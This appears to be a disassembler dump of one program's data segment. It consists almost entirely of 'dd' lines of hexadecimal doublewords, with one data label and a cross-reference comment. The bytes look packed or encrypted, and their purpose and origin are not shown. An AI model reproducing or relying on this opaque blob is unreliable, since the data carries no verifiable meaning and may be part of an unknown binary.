dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h
dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh
dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh
dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
dd 2A050A90h
dd 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h
dd 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh
dd 9001BBE0h, 84280015h, 204838DBh, 0C201F229h, 94345577h
dd 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h
dd 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h
dd 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h
dd 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h
dd 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h
dd 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh, 8B730A3Bh
dd 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh
dd 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh
dd 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h
dd 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh
dd 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h
dd 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h
dd 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h
dd 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h
dd 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh
dd 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h
dd 99282004h, 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h
dd 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h
dd 64E468C8h, 98396072h, 22586132h, 60502354h, 4800C819h
dd 407244E4h, 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h
dd 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h
dd 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h
dd 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h
dd 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h
dd 187BD521h, 4914DC05h, 57780800h, 64487710h, 5387000Ch
dd 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h
dd 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h
dd 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h
dd 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h
dd 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h
dd 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h
dd 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh
dd 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h
dd 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h
dd 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h
dd 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h
dd 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah
dd 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh
dd 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h
dd 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h
dd 817E2423h, 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h
dd 0C015E2h, 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh
dd 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h
dd 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h
dd 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h
dd 817E5F50h, 0F0756020h, 10165209h, 35010E65h, 47F658A8h
dd 79043CD0h, 0F01F642h, 76694445h, 415A7900h, 90016FBBh
dd 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h
dd 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh, 2B74F44Dh
dd 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h
dd 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh
dd 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh
dd 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h
dd 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h
dd 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah
dd 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h
dd 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h
dd 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h
dd 325048h, 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah
dd 74005345h, 6B632661h, 67905081h, 4064A294h, 1109C93Bh
dd 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh
dd 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h
dd 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h
dd 8462030Eh, 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah
dd 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh
dd 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h
dd 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h
dd 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh
dd 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h
dd 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h
dd 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h
dd 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h
dd 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h
dd 0C07D4855h, 0A120DC7Fh
dword_4E414C dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h
; DATA XREF: seg002:off_43CE20o
dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h
dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h
dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h
dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h
dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh
dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh
dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h
dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h
dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h
dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh
dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh
dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h
dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h
dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h
dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h
dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh
dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h
dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
dd 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
dd 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh
dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h
dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
dd 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h
dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
dd 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h
dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h
dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh
dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h
dd 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h
dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h
dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h
dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h
dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh
dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
dd 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh
dd 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h
dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h
dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h
dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
dd 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h
dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h
dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h
dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h
dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
dd 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h, 0A6B4BA7h
dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
dd 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h, 6939FFB8h
dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
dd 915FF800h, 0E1E44D28h
dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h
dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh
dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h
dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah
dd 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h, 497D834Ah
dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h
dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h
dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh
dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch
dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch
dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah
dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh
dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh
dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh
dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h
dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch
dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h
dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
dd 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh
dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh
dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h
dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h
dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h
dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh
dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h
dd 54046A00h, 37503056h, 0DF442568h, 16245500h, 420099BAh
dd 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h
dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h
dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h
dd 55007EEBh, 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h
dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh
dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h
dd 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h
dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h
dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h
dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h
dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h
dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h
dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h
dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh
dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
dd 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h, 168D0034h
dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h, 331720F3h
dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh
dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
dd 0FB0A8058h, 0FC00EA51h
dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h
dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h
dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h
dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h
dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h
dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h
dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh
dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h
dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh
dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h
dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh
dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h
dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh
dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
